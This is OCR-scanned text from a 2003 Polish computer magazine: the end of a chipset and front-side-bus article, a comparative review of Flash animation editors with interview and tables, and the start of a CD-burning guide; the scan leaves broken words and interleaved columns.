na jednoczesny zapis i odczyt danych z pamieci. Jeden kon-
troler w chipsecie moze odczytywac dane na przyktad z ban-
ku O, podczas gdy drugi kontroler moze w tym samym mo-
mencie dane zapisywac do banku 1lub przygotowywat kolej-
ng operacje.

» Hyper Threading - funkcja zaimplementowana

w procesorach Pentium 4 HT, oparta pierwotnie na wielo-
watkowosci systemdw wieloprocesorowych (ang. Symmetri-
cal MultiProcessing). Procesory Pentium 4 HT w systemach
operacyjnych Windows NT, 2000 i XP s3 rozpoznawane jako
dwie niezalezne jednostki. Hyper Threading pozwala na roz-
dzielenie watkéw aplikacji na réwnolegte jednostki obliczenio-
we, ktore mogg by¢ wykonywane w tym samym czasie. Po-
zwala to na wykorzystanie petnej mocy obliczeniowej proce-
sora. Typowe procesory Pentium 4 praktycznie zawsze wyko-
rzystywaty tylko czes¢ swojej mocy obliczeniowej.

» Serial-ATA - nowy typ interfejsu dla dyskow twardych,
oferujgcy przepustowos¢ rzedu 150 MB/s. Dyski twarde
Serial-ATA nie s3 jeszcze spopularyzowane, jednak w najbliz-
szych latach nalezy sie spodziewa¢ spadku produkgji typo-
wych napedéw ATA. Plyta gtéwna, jesli ma stuzy¢ dtugo,
powinna mie¢ zintegrowany kontroler tego typu napeddéw.

wyboru, warto przejize¢ w internecie

i czasopismach komputerowych re-
cenzje. Opinie uzytkownikow moga

nam dac obraz jako$ci danego ukta-

du, jego stabilnosci, ale takze do-
stepnosci sterownikow. PG m

@ Warto zajrzeé... |

Ksigqzki
Anatomia PC, Wydanie VII, Piotr
Metzger, Helion 2002, cena 110 zt

Adresy WWW:
o www.intel.com
www.nvidia.com
WWW.Sis.com
www.via.com.tw

°
°
°
o www.frazpc.pl

Batagan z FSB )

0 pracowujac architekture kazdego no-
wego procesora, producent stara sie
w petni wykorzystac jego moc obliczenio-

wa. Jest to mozliwe tylko wtedy, gdy szy—

czterokrotnie. W przypadku najszybszych fi
Pentium 4 transfer danych pomiedzy pro-

cesorem a chipsetem to 4,2 GB na se- al

kunde, w przypadku magistrali FSB tak-

na danych, za posrednictwem
ktorej procesor komunikuje sie
z chipsetem, bedzie oferowac
wystarczajacq przepustowosc.
Zarowno Intel, jak i AMD
wprowadzity wtasne rozwigza-
nia, majace na celu zwieksze-
nie transferu danych pomiedzy
procesorem a chipsetem. Intel
unowoczesnit standardowg /
64-bitowa magistrale 100 ol

Engingcred

nForce 2 Chipssel (K7,
F2R313, Dual DDR40D,
ACP B Serial ATA,
|IEEE1304, USB20
Softenu™ ARIT

towanej zegarem 533 MHz.
AMD dla procesoréw Duron
oraz Athlon i Athlon XP od po-
czatku stosuje tradycyjne roz-
wigzanie Double Data Rate
(DDR). W przypadku proceso-
réw AMD, w jednym cyklu ze-
gara, przesytane s3 dwa pakie-
ty danych. Biorac jako przykfad

magistrale FSB, taktowang ze-
\ garem 133 MHz, uzyskamy

MHz oraz 133 MHz podobnie, jak ma to
migjsce w magistrali AGP. W jednym cy-

przepustowos¢ na poziomie 3,2 GB. Real- ¢
nie uzyskujemy zatem magistrale z zega-

klu zegara magistrali Quad-Pumped

rem 266 MHz. Wybierajac chipset @, po-

Bus s3 przesytane cztery pakiety danych.
Podnosi to jej realng przepustowos¢ az

winnismy doktadnie sprawdzi¢, czy nasz
procesor bedzie z nim wspotpracowat.

EETTTL] czERWIEC - LIPIEC 2003 16




r

F‘TER SWIAT EXSPERT '

EL/montaZ KOM

—

f;}ﬁ‘Nﬂtqiku

~ 3D Flash Animator
shareware

CoffeeCup
 Firestarter trial

~ KoolMoves demo

| Macromedia Flash
- MXtrial
Moho 4 demo

.| Macromedia
Shockwave Player
freeware

Sothink Glanda
~ trial

Swish trial
Xara 3D 5 PL trial

- Projektanci witryn
~ flashowych to praw-
~ dziwi artysci. Obok
~ komercyjnych projek-
~ tow tworza liczne de-
- ma swoich mozliwo-

4ci. Niekiedy takie
prezentacje przypomi-

najq teledyski. Na
ilustracji jedna z pre-
zentacji ze strony
- www.fakepilot.com

TESTY PROGRA

P
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Dla internetu nadszedt czas anima-
cji, dzwieku i interaktywnosci. Naj-
lepszym sposobem na tworzenia
jest technologia Flash. Ekspert po-
rownuje dostepne aplikacje do pro-
jektowania flashowych animacji

lash jest technologig za-

prezentowang przez fir-

me Macromedia w 1996
roku. Stuzy ona do tworzenia ani-
macji internetowych oraz prezen-
tacji, wykorzystywanych w projek-
tach multimedialnych. W chwili
powstania Flasha na rynku do-
stepne byty jedynie proste gene-
ratory animacji oparte na grafice
rastrowej i wykorzystujgce format
GIF. Obarczone one byty niedo-
godno$cig zwigzang z duzymi roz-
miarami plikéw i niemoznoscia
dodania do nich dzwieku. Macro-
media zmienifa ten stan rzeczy
i tworzgc format Flash, postawita

na technologie wektorowa, ktéra

obraz generuje na podstawie ma-
tematycznego opisu, a wszystkie

ksztatty sg zbiorem wektorow.

DO FLASHA

Macromedia stworzyta na po-
trzeby Flasha ActionScript — jezyk
skryptowy przydatny w multime-
dialnych prezentacjach. Pozwala on
miedzy innymi na tworzenie

wiekszo$¢ opcji rysowania zapozy-
€zono z programow do grafiki wek-
torowej, jednak tym, co wyréznia
Flash, to listwa odpowiedzialna za
tworzenie animacji @--------------
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Flash stosowany jest najczesciej przy tworzeniu witryn reklamowych.
www.sullivan.pl to adres witryny jednego z projektantéw takich stron WWW

wiasnych efektow i elementow
multimedialnych, a takze wzboga-
cenie prezentacji w interaktywno$c.
0d czasu premiery pierwszej wer-
sji programu Macromedia Flash
na rynek trafito wiele innych edyto-
row Flash. Trudno im jednak dorow-
nac tak rozbudowanej aplikacji, kto-
rej jedyng powazng wadg jest cena.
Ekspert zebrat najpopulamiejsze
programy przeznaczone do projekto-
wania, oraz generowania animacji
Flash, i poddat je ocenie. Zostaty
one podzielone na produkty w petni
profesjonaine, oferujace wszystkie
potrzebne funkcje oraz aplikacje
okrojone z wielu zaawansowanych
funkcji, za to tansze. Producentami
trzech zaawansowanych edytorow
Flash sg firmy znane z rynku opro-
gramowania graficznego i DTP: Ma-
cromedia, Adobe i Corel.

agOfy v ® Mmoo m w w W 6w ow W
D ol i 8
1 obleht alocy = @l . |
Wto |8 [ H =
I & | H

W efekcie powstat kompaktowy
format, oferujgcy znakomitg ja-
ko$¢ obrazu, mozliwos$¢ dotacze-
nia do prezentacji dzwieku, a takze
stosunkowo maty rozmiar wyniko-
wych plikow.

Technologia wektorowa byfa
znana duzo wezesniej, niz powstat
internet, jednak dopiero uzycie jej
w sieci spowodowato prawdziwg
rewolucje i zapewnito jej wcigz
rosngcg popularnos¢. Stworzony
przez Macromedig Flash stat sig
szybko standardem. Plug-iny po-
trzebne do jego prawidfowego wy-
Swietlania w przegladarkach WWW
sg dzi$ trwatym sktadnikiem kaz-
dego dobrego browsera.

Interfejs i obstuga

Macromedia stworzyta catkowicie
nowy rodzaj programu graficznego.
Co za tym idzie, oferowane przez
aplikacje funkcje wy-

4 Flash nie rozni sie dia-

0 tym, ze zaproponowane przez
Macromedig rozwigzanie panelu
animacyjnego jest optymalne pod
wzgledem tatwoSci obstugi,
Swiadczy fakt, ze powielili go
w swoich programach

flashowych konkurenci.
Miedzy innymi Adobe
i Corel. Modut ten stat
sie znakiem rozpoznaw-
czym programow do
tworzenia animacji fla-
showych i znajdziemy go
praktycznie w kazde;j te-
go typu aplikacji. To sy-
tuacja wygodna dla uzyt-
kownika. Uzywajac kilku
programow, zawsze ma
do czynienia ze spojnym
Srodowiskiem wykorzy-
stywanym do pracy.

Poza panelem anima-
cyjnym obstuga edytoréw
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metralnie od korzystania
z aplikacji typu Corel-
DRAW czy Adobe Illu-
strator.

Zawsze jednak istnieje

2] 3]

ryzyko, ze trafimy na program taki
jak na przyktad 3D Flash Animator,
ktorego menu zostato stworzone
bez wigkszej dbatosci 0 wygode
uzytkownika @:

magaty od autorow
opracowania oryginal-
nych rozwigzan w za-
kresie interfejsu uzyt-
kownika. Co prawda,

Strona

www.heinekenmusic.pl to
dobry przykfad wykorzy- | g
stania technologii Flash. |
Diwiek, animacje i teksty
skomponowane zostaly
w jedna catosé
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Rysowanie

Opcja, z ktdrej korzysta kazdy
uzytkownik Flasha, jest rysowanie.
Rozni sie jednak ono od tego, do
czego przyzwyczaity nas klasyczne
programy graficzne. Rysowanie za
pomocg narzgdzi wektorowych
w tej technice moze by¢ proste
i przyjemne, jesli uzywamy pro-
gramow, ktorych tworcy podeszli
ze zrozumieniem do potrzeb uzyt-
kownika. Nie kazdy musi przeciez
by¢ dowiadczonym grafikiem
komputerowym.

Macromedia Flash wykorzystuje
kilka nowych rozwigzan, miedzy
innymi mozliwo$¢ swobodnego
rysowania linii, ktore po oderwa-
niu pidra od powierzchni tabletu
zamieniane s3 automatycznie
w format wektorowy, przypisany

B Lorel LAVE 20U - [Moviel]

naleciatosci z programu Corel-
DRAW. Blizszy jest on programom
DTP niz aplikacji do tworzenia
plastycznych i lekkich obrazow,
jakie sg nieodzowng czescig fil-
mow tworzonych w technologii
Flash.

Podobnie ma sig sprawa w przy-
padku Adobe LiveMotion 2.0. Zo-
stat on za bardzo upodobniony do
[llustratora. Owszem, umieszczono
w nim kreatory efektow podobne
do tych, ktére znamy z Photosho-
pa, jednak pozbawiono je mozli-
wosci edycji wynikow ich dziafan.
Co za tym idzie, korzystajac z go-
towych rozwigzan, nie mozemy na
nie wptywac wedtug wtasnego
uznania.

Alternatywne pod wzgledem
kosztow rozwigzania, czyli
KoolMoves, 3D Flash Animator
i Swish, nie dys-
ponujg niestety

¥ Flle Edr Wew Movie  Qrange  Fffects  Bitmaps  Text  Tool .
T ehe e [ow rlelo|q Wodme
= — ' rzedziami do ry-
R sowania. Korzy-
"é‘ .t " stajac z tych pro-
&, \ gramow, skazani
u N jeste$my na pro-
< N — ste opcje, ktore
% : . ‘\t\ : \‘\\ nie spetniajg wa-
A Se— runkow potrzeb-
o s Ny nych do wygod-
2 /\. - nej pracy, lub

o N // importowanie go-
% T towych elemen-
= tow, czesto do-

danej warstwie. Opcjg tg dyspo-
nuje wiekszo$¢ produktéw konku-
rencji, jednak nie we wszystkich
jest to rozwigzane rownie wygod-
nie jak we Flash MX. Na przyklad
Corel R.A.V.E. traktuje kazda poje-
dyncza kreske jako oddzielny
obiekt ®. Tymczasem korzystajac

starczanych wraz
z aplikacjami. Nie wspominajgc
juz o Xarze, ktora jest pozbawio-
na funkcji rysowania i jest jedynie
bardzo rozbudowanym kreatorem.
Wymienione programy stajg sie
przydatne dopiero wtedy, gdy nie
chcemy zagtebiac sie w skompli-
kowane procesy tworzenia anima-

z Flasha, tworzone linie sg przypi-
sywane jednemu rysunkowi.
Oczywiscie w Corelu mozemy
zgrupowac narysowane linie, jed-
nak rozwigzanie Macromedii wy-
daje sie blizsze filozofii animacji.
R.A.\V.E. ma po prostu zbyt duzo

¢ji, a jedynie stworzy¢ szybko cie-
kawy efekt.

Edycja tekstu

Jedynym polem, w jakim kon-
kurencja dogania produkt Macro-
medii, jest edycja tekstu. Co

Shapes Ponis Efect Tiasforms: Frames Move - Play  Opbiors: Hep
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KoolMoves to

przyktad roz-

sadnego kom-
promisu miedzy
jakoécia i cena.
Szczegélnie,
gdy zainstaluje-
my petng wer-
sje zamieszczo-
na na krazku
Eksperta
2/2003

Opinia specjalisty

Barttomiej Wyszyniski

Dyrektor Dziatu Kreacji firmy Artegnece

Co powoduje, ze Flash robi takg kariere w sieci?

o proste. Wystarczy odwiedzi¢ nagrodzony wiasnie Cyber-

kreatura, nagroda polskiego przemystu reklamowego, ser-
wis www.f-16.pl Dzieki Flashowi mozna bylo na stronie umie-
$ci¢ prosty symulator lotu. Zamiast czytania tekstow uzytkow-
nik moze pobawi¢ sie samolotem. Komunikacja z odbiorca od-

bywa sie wiec na
catkiem innym po-
ziomie niz w przy-
padku gazet czy tra-
dycyjnych stron pi-
sanych w HTML-u.
Specjalisci w zakre-
sie komunikacji
okreslaja go angiel-
skim terminem Glo-
bal Visual Language
(globalny jezyk ob-
razkowy). Najogol-
niej méwiac, uzyt-
kownik nie musi po-
stugiwac sie zad-
nym jezykiem, aby
zrozumiat caty
przekaz.
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frugo na kaidy dzief tygednia:
drisiaj czwartek

20bact saeline  (TLGCE)
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stedio multimedialne -

Marian to najpopularniejszy w Polsce hohater fla-
showy. Jego wsp6ttworcg jest Barttomiej Wyszynski

Z jakich programow do Flasha korzysta Pan w codziennej pracy?

Do pracy uzywam oprogramowania firmy Macromedia, czyli
Flash MX. Dlaczego? Jest on standardem. Zainwestowalismy
w naszej firmie czas w jego nauke, jest caty czas numerem je-
den wsrod tego typu oprogramowania, wiec nie widze potrzeby
korzystania z oferty konkurencji. Jesli inny program zwréci na
siebie uwage efektami, ktérych my nie mozemy uzyskaé w tra-
dycyjny sposéb, wtedy sie nim zainteresujemy.

prawda Flash MX bez problemu
radzi sobie z animacjg liter czy
ich modelowaniem wedtug po-
trzeb uzytkownika, jednak brakuje
mu szybkiego dostepu do trybu
Outline. Narzedzia do réznicowa-
nia kolorystycznego krawedzi
i wnetrza liter s3 mafo wygodne
i moga sprawi¢ poczatkujacemu
uzytkownikowi sporo ktopotu. Ina-
czej ma sie sprawa z LiveMotion.
Aplikacja Adobe radzi sobie z tym
zagadnieniem bez problemu. Wy-
starczy klikna¢ na ikong edycji
tekstu i ustawi¢ wybrany kolor ob-
wodki fontu. Az dziwne, ze tworcy
Flasha MX nie uczynili tej czynno-
$ci rownie prosta.

Wybieranie kolorow jest
w przypadku LiveMotion niedo-
pracowane i wymaga od uzytkow-
nika sporo cierpliwo$ci. Ponadto
okno stuzace do tego celu, tak jak
wigkszo$¢ okienek pomocniczych,
nie skaluje sie i z niewiadomych
powodow nie pozwala na korzy-
stanie z petnej palety barw @:

niona. Ekspert przetestowat pro-
gram w roznych rozdzielczosciach
ekranu i za kazdym razem efekt
byt taki sam. Okienka nie nadawa-
ty sie do uzytku. To karygodne

w przypadku w petni komercyjne-
go programu, kosztujgcego ponad
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tysigc ztotych. Jest to doS¢ dziw-
ne, biorgc pod uwage faki, ze

0 wiele tansze aplikacje, takie jak
KoolMoves czy Moho, majg pro-
ste, ale za to wygodne i fatwe

w obstudze edytory tekstu.

Distort

Cipacity

Podobnie ma sig sprawa
z okienkiem odpowiedzialnym
za wybdr fontu, oraz ustawien tek-
stu. Wskutek braku skalowania @---
i nieprawidtowego rozmiaru okna
normalna praca jest bardzo utrud-
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TESTY PROGRAMY DO FLASHA

Animacje
Animacja to podstawowy atrybut
formatu Flash. Instalujgc na naszym
komputerze Flash MX, otrzymujemy
narzedzie, o ktérym jeszcze nie tak
dawno mogty $nic jedynie najwigk-
sze studia animacyjne na Swiecie.
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~ 3D Flash Animator - program ma niewygodny interfejs obstugi. Cie-
'szy natomiast duZa liczha importowanych formatéw, np. 3D Studio

3D pozwala na proste kreowanie animowanych napiséw.
jestety, na tym koriczg sie funkcje tego narzedzia

Jak to wyjasni¢? To proste. Oglada-
ne w telewizji klasyczne animacje

wymagaja ogromnego naktadu pra-
cy, kazda klatka filmu rysowana jest
oddzielnie. Gtowny grafik tworzy na

Dves] Grapw Dlwwdes Ciowowe e
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przykfad rysunek dziecka z pitka
oraz ujecie koncowe, w kidrym pitka
trafia w Sciang. Wszystkie rysunki
ruchu pomiedzy tymi dwoma uje-
ciami sg tworzone kadr po kadrze
przez animatorow. Edytor Flash po-
zwala na 0szczedzenie czasu pod-

Flash MX

czas tworzenia animacji. Wystarczy
umiesci¢ w nim kadr poczatkowy

i koncowy, zeby automatycznie do-
dane zostaty brakujgce elementy
animacji. Mato tego, proces tworze-
nia filmu przebiega dwutorowo.

Z jednej strony animowany jest
ruch, z drugiej za$ istnieje mozli-
woS¢ zmiany ksztattu poruszajgcego
sie w kadrze elementu. Doktadne
ustawienie wszystkich opcji i ka-
drow jest bez pordwnania mniej
pracochtonne niz w klasycznych
technikach animacyjnych.

Jesli wiec nie chcemy tworzy¢
skomplikowanych animacji, a cho-
dzi nam na przyktad o spreparowa-
nie animowanego logo, nie musimy
uzywac od razu rozbudowanego na-
rzedzia, jakim jest Macromedia
Flash. W takich sytuacjach warto
skorzystac z prostszych aplikacji —
chochy takich jak Xara 3D. Jest to
gtownie kreator prostych prezentacji,
ktérych gtownym elementem jest
animowany tekst. Ekspert poleca ten
program wszystkim osobom, ktorym
znudzity sie animowane GIF-y.

3D Flash Animator oraz Moho
pozbawione s3 funkcji pomocnych
podczas tworzenia animacji. Skaza-
ni wiec jesteSmy w tych progra-
mach na niewygodne interfejsy ob-
stugi i trudnosci z rysowaniem.
Diwiek

Dobra animacja nie powinna
by¢ pozbawiona dzwigku. Twdrcy
prezentacji flashowych korzystajg
czesto z ustug profesjonalistow,
ktorzy komponujg na potrzeby ich
dziet specjalne Sciezki dzwiekowe.
Do ozywienia filmow wykorzystuje
sie takze pojedyncze sample, kiore
53 odgrywane, gdy korzystamy
z roznych elementow strony. Po-
maga to w nawigacji po flasho-
wych witrynach. Wigkszo$¢ pro-
gramow do tworzenia animowa-
nych prezentacji ma opcje doda-
wania takich dzwiekdw. Flash MX
wyposazony zostat nawet we

Profesjonalne

LiveMotion 2.0

wlasng biblioteke . Moemy te?

importowac do tworzonej prezenta-
cji samodzielnie wykonane sample.
Podczas przegladu programow
flashowych jedynie Xara 3D nie
moze pochwali¢ sie mozliwoscia
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dodawania muzyki do animacji. Po-
zostate przetestowane aplikacje ra-
dzg sobie z tym bez problemu. Spe-
cjalnie dla tych uzytkownikéw, kto-
rzy nie chcg lub nie potrafig tworzy¢
wiasnych sampli, powstaty serwisy
takie jak www.flashkit.com/loops,
ktore oferujg darmowe biblioteki
dzwiekdw.

Action Script pozwala na zwigk-
szenie interaktywno$ci filmow.
W praktyce oznacza to, ze skrypty
reagujg na zachowanie uzytkownika.
Wszelkie dzwigki czy animacje uza-
leznione sg od zdarzen wywotywa-
nych przez 0sobg 0gladajacg dang
strone flashowa. Jesli zechcemy
wigc zaprogramowac nasza prezen-
tacje tak, by byta w pefni interak-
tywna dla odbiorcy, nie obedzie sie
bez wykorzystania ActionScript. Do-
datkowo mamy mozliwos¢ integra-
cji z innymi Srodowiskami skrypto-
wymi, na przykfad JavaScriptem.
ActionScript pozwala réwniez na
bezposrednig komunikacje z serwe-
rem (poprzez skrypty PHP ASP
PERL) oraz bazg danych.

Formaty zapisu

Macromedia zaproponowata
wtasny format zapisu projektowa-
nych prezentacji oznaczany skroto-
wo FLA. Konkurenci nie poszli
jednak drogg ujednolicenia stan-
dardu i kazdy program ma swoj
wiasny format zapisu, niekompaty-
bilny z innymi. Wyjatek stanowi
format Adobe, czyli LIV (LiveMo-
tion Files), rozpoznawany przez

Programowanie
Macromedia stworzyta
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na potrzeby Flasha spe-
cjalny jezyk programo-
wania o nazwie Action-
Script. Z jego pomoca
uzytkownik ma petng
kontrole nad projektowa-
ng animacjg — moze jg
po prostu dokfadnie
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oprogramowac. Action [WE]
Script jest bardzo przy-
datny przy tworzeniu ba- |
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nerow czy innych form
reklamowych. Dzigki kil-
ku liniom kodu moz-

na zaoszczedzi¢ do kilku-
nastu kilobajtéw, co pozwoli

na przykfad wygospodarowac
miejsce na dodatkowe animacje.

Moho 4.0

Moho jest mniej uniwersalny niz Flash MX, jednak
doskonale nadaje sie do szybkiej animacji 2D, na
przyktad ruchomych komikséw czy kreskéwek

Macromedia Flash MX. Nie mamy
jednak mozliwosci edytowania we
Flashu MX plikow pochodzgcych

SWiSH 2.0

Producent Macromedia Adobe Gorel Lost Marble SWiSHzone.com Pty Lid
WWW www.macromedia.com www.adobe.com www.corel.com www.lostmarble.com www.swishzone.com
Rysowanie bardzo wygodne wygodne malo wygodne bardzo niewygodne niewygodne

Praca na obiektach bardzo wygodna wygodna wygodna bardzo wygodna wygodna

Edycja tekstu wygodna niewygodna, bigdy w edytorze wygodna prymitywna wygodna

Tworzenie animaciji bardzo wygodne wygodne wygodne wygodne wygodne

Tworzenie interaktywnych przyciskow ~ fatwe fatwe bardzo fatwe brak mozliwosci fatwe

Obstugiwany jezyk programowania ActionScript ActionScript, JavaScript brak brak brak

Importowane formaty dzwigkowe WAVE, MP3, AIFF, AU WAVE, MP3, AU WAV WAVE, AIFF WAVE, MP3

Liczha importowanych formatow graf. ~ 24 (m.in. GIF, JPG, EPS, PSD, AVI) - 13 (m.in. GIF, JPG, EPS, PSD, PDF) 57 (m.in. GIF, JPG, PSD, PDF, AVi) ~ 1(Al) 9 (m.in. GIF, JPG, PNG, WMF)
Formaty publikacji (animowane) SWF, AVI, MOV, GIF, SPL SWF, MOV, GIF SWF, AVI, MOV, GIF SWF, AVI, MOV SWF, AVI

Kreatory poszczegolnych funkcji brak bardzo uproszczone proste wskazowki brak wygodne

Cena 3093 zi 150 zi 2253 z} * 400 zi 200 zi
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Animacje IO liczone w czasie rzeczywistym stanowia,
we Flashu bardziej ciekawosthe, anizeli "cos bardziej
przydatnege”. Usgélniajac -- staba wydajnosc utrudnia
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zrobienie czegos konkretnego w tej dziedzinie:
wygenerowanie (i animowanie) siatki Srednio
skomplikowanego obiektu {nie méwizc o takim luksusie

IO forumn

Korzystajac z serwisu www.flashroom.com, moZzemy pobrat pliki robocze
zawierajace interesujace nas rozwigzania ..

z LiveMotion. Pobranie pliku

w formacie LIV pozwala jedynie
na sprawdzenie poprawnosci dzia-
tania animacji.

Powszechnie uzywanym forma-
tem do publikacji prezentacji Flash
jest SWF (Shockwave Flash). Roz-
poznawany jest on przez wiekszos¢
przegladarek dostepnych na rynku.
W uzyciu sg takze specjalne plug--
iny, dzigki ktorym plik SWF uru-
chomi sig nawet na starszych wer-
sjach Internet Explorera czy Netsca-
pe'a. Duza liczba programow
zapisuje jedynie w tym formacie,
jednak wieksze aplikacje, typu
Flash MX, LiveMotion czy Moho,
pozwalajg na eksportowanie anima-
cji do plikéw AVI czy QuickTime,
ktore jednak zajmujg juz znacznie
wigcej miejsca.

Uczymy sie Flasha

w niej wskazowki sg bardzo cenne i
poparte licznymi przyktadami. Au-
torzy stawiajg wigkszy nacisk na
wyobraznig tworcy niz na zaawan-
sowang wiedze techniczng.

Innym sposobem zdobywania
wiedzy o Flash MX sg witryny in-
ternetowe, na ktorych znajdziemy
kursy obstugi tego programu. Naj-
wieksza z nich jest oczywiscie wi-
tryna www.macromedia.com @.

wzgledow
Aby zdoby¢ wiedze potrzebng skierowany i (@ voe e it oot poweefioeind
do tworzenia flashowych animacji, ! raczej do l Bres | Drommtren Bowperoot Bees swte-
mozemy skorzystac z kilku rodza- UZytkownikow | [easy tstenimascountry
jow pomocy. Pierwszy z nich to Adobe Live- || .
ksigzkowe poradniki. Wigkszo$¢ Motion i trud- :
zawiera opisy poszczegdlnych no odszukac
funkcji programu oraz proste wska- { w nim infor-
Zo= | macje doty- || Percrricrarn
(T R VAC I —
zan mozli- | aSwisH=o
wych do wy-
korzystania we
" Flash MX i je-
— go klonach.
= : 2[4 IP Wspomnia-

z6wki dotyczace procesu tworzenia
animacji. Jedng z najlepszych po-
zycji tego typu to ksigzka Flash 5,

Techniki zaawansowane. Zawarte

Zawiera pefen kurs Flasha, w trak-
cie ktorego mozemy nauczy¢ sie
obstugi wszystkich funkcji tej apli-
kacji. Poczawszy od prostych ani-
macji, skonczywszy na skompliko-
wanych prezentacjach multime-
dialnych zawierajgcych dzwigk, fil-
my i interaktywne interfejsy. Po-
dobny kurs znajdziemy na witrynie
www.adobe.com, jest on jednak ze
zrozumiatych

idzie czeS¢ rodzimych uzytkowni-
kéw komputerow moze mie¢ kfopo-
ty ze zrozumieniem licznych tech-
nicznych zwrotow. Mozna, na szcze-
$cie, skorzystac z polskojezycznych
serwisow tego typu. Jedng z najlep-
szych witryn o technologii flash jest
www.flashroom.com Znajdziemy
w niej zarowno wskazowki doty-
czace skomplikowanych pod
wzgledem technicznym animacji,
jak i te dotyczace prostych opcji
Flasha. Opisy zawierajg czytelne
dla odbiorcy komentarze i wska-
z0wki, ktore poparte sg opisami
kodu ActionScript.

Stworzone za pomocg wspo-
mnianych wskazowek rozwigzania
zostaty przez tworcow serwisu przy-
gotowane w formie dokumentow
roboczych w formacie Macromedia
Flash tak, by kazdy mogt pobrac je
na twardy dysk swojego komputera.
Dzigki temu nawet poczatkujacy
uzytkownik Flash MX ma szanse na
szybkie przyswojenie sobie wiedzy
potrzebnej do pracy.

Innym polskim serwisem tego
typu jest www.flashzone.pl Skiero-
wany jest on raczej do poczatkuja-
cych uzytkownikow Flasha. Posta-

| B Bdvria Widok Hawaacia Gy Likbions Nardaa cine Pone: || [IE D E 0 I EEE
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2Loops Homa | 2 Add Loops | 3 What's New | 9 Top 100 | 3 myloops | E=h
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ne serwisy maja — z punktu widze-
nia mieszkancow Polski — jedng
podstawowg wade. Napisane sg

W jezyku angielskim, co za tym

FlashKit to serwis z darmowymi podktadami dzwiekowymi,
obiektami i innymi elementami do tworzenia animacji flashowych

wiono w nim nacisk na obstuge
narzedzi tego programu i trzeba
przyznac, ze jesli dopiero stawiamy
pierwsze kroki w Swiecie multime-

@ Warto zajrzeé... | .. k"

Ksiazki:

Flash 5. Techniki zaawansowane - praca
zbiorowa, Helion, Gliwice 2002, cena 79 zt

Corel R.A.V.E. Cwiczenia praktyczne. -
Bolestaw Ogorek, Helion, Gliwice 2002, cena 12 zt ‘.
Flash 5 - ActionScript, Gry i zabawy - <
Gary Rosenzweig, Translator, Warszawa 2002
cena 48 zt

Flash 5. Biblia - Robert Reinhardt , Jon
Warren Lentz, Helion, Gliwice 2002, cena 125 zt

Adresy WWW: (4
www.flashzone.pl :
www.macromedia.com

www.adobe.com

www.stereotypography.com

www.fakepilot.com

www.sullivan.pl :
www.artegence.com £
www.webesteem.pl

www.flashroom.com

www.nnk.art.pl

dialnych animacji flashowych, to

ten adres powinien nas zaintereso-
wac. W serwisie znajdziemy przy-
ktady prostych kodow ActionScript,
oraz — podobnie jak w przypadku
WyZej wspomnianego serwisu —

pliki robocze, dzieki ktérym be-
dziemy mogli przesledzi¢ na wias- "
nym komputerze dziatanie po-
szczegolnych opcji wykorzystanych
do tworzenia danej animacji. RF m

- ““.

Xara 3D Program stosun-

Flash MX Korzystajac

z niego, mamy do dyspozy-
cji wszystko, co potrzebne
do stworzenia ciekawej
prezentacji multimedialnej,

kowo tani, jednak nalezy

go traktowat raczej jako
kreatora prostych animacji
i to gtéwnie z wykorzysta-

Potprofesjonalne
Xara 3D 5.0 3D Flash Animator 3.72 N Kool Moves 3.70 Firestarter 6.0
Xara Ltd Mofosoft Pty Ltd Lucky Monkey Designs CoffeeCup Software
WWW.Xara.com www.3dfa.com www.koolmoves.com www.coffeecup.com
brak niewygodne mafo wygodne brak
ograniczona wygodna wygodna wygodna =
wygodna niewygodne wygodna wygodna §
wygodne malo wygodne wygodne wygodne ]
bardzo fatwe trudne bardzo fatwe fatwe i
brak JavaScript ActionScript, JavaScript brak _%‘
brak WAVE, MP3, AU WAVE, MP3 WAVE, MP3 =
2 (WMF, ENF) 9 (m.in. GIF, JPG, PSD, 3DS) 10 (m.in. JPG, EPS, PNG, WMF) 11 (m.in. GIF, JPG, CUR, ICO, PNG) a_g_
SWF, AV, GIF, CUR SWF, GIF SWF SWF E
bardzo wygodne brak wygodne bardzo wygodne i
160 =zt 200 zt 200 zt 196 zt *

gdyby nie wysoka cena, niem tekstu. Do programu
ten program bythy po dolaczono nieestetyczne
prostu ideatem hiblioteki tekstur

Trudne terminy

2

» grafika wektorowa - metoda tworzenia grafiki
komputerowej polegajaca na generowaniu obrazu na
podstawie jego matematycznego opisu, ktéry okresla
pozycje, dtugosc i kierunek prowadzonych linii. Obrazy
wektorowe sg kolekcjami wektordw, a nie punktow, jak
w wypadku grafiki rastrowej. Przyktadowo, narysowanie
okregu w formie wektorowej jest stosunkowo tatwe -
wystarczy podac jego srodek i promien (zamiast rysowac
bardzo wiele punktow). Zwykle grafik projektuje obraz
metodg wektorowg, a gdy zakonczy prace, zmienia jg do
formy bitmapy. Grafike wektorowg mozna tworzy¢ miedzy
innymi za pomocg popularnego programu graficznego
CorelDRAW.

» klatka kluczowa - ang. keyframe - klatka, w ktorej
definiujemy parametry elementéw umieszczonych w danej
warstwie. W takiej klatce mozemy zdefiniowa¢ potozenie
obiektu, jego wielkos¢, kolor czy skrypt akgji, jakg ma
wykonat. Do stworzenia animacji wymagane jest
zdefiniowanie co najmniej dwoch klatek kluczowych.
Program oblicza ruch, czyli klatki posrednie, miedzy
dwoma kluczowymi.
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AutoRun Wizard
Shareware

= Bones CCD4
~ Profiler freeware

CloneCD demo
ClonyXXL freeware
IfoEdit freeware

ImgTool Classic
| freeware

Nero Burning Rom
shareware

TMPGEnc freeware

PORADY WSZYSTKO O WYPALANIU

Magla srebrnego krazka

Niskie ceny nagrywarek
ptyt CD-R/RW sprawiaja,
ze era zwyklych czytni-
- kow CD-ROM powoli
odchodzi w niepa-
mie¢. Dos¢ prosty
sposob zapisywa-
nia, trwatos¢ nos-

FOT. OKE.: CORBIS STOCK MARKET/PIEKNA/montaz KOMPUTER SWIAT EKSPERT

ktualnie dostepne

w sprzedazy modele
nagrywarek sg juz na-
pedami obstugujgcymi wiele rodza-
jow nos$nikow. Wypalimy w nich
zaréwno klasyczne ptyty CD-R jed-
norazowego zapisu, jak i ptyty CD-
-RW wielokrotnego zapisu. Te
ostatnie wystepujg w dwoch od-
mianach: starszej o predko$ciach
2X, 4x i nowszej o predkosciach od
4x do 10x (CD-RW High Speed).
Ostatnio pojawity sie takze ptyty
CD-RW Ultra Speed z innym rodza-
jem materiatu, pozwalajace na za-
pis szybszy niz 10x (od 16x do

Overburning )

o verburning to inaczej zmuszanie nagrywarki do za-
pisania nieco wiekszej ilosci danych na ptytce CD-
-R/RW, niz gwarantuje nam to producent. Taka sytuacja
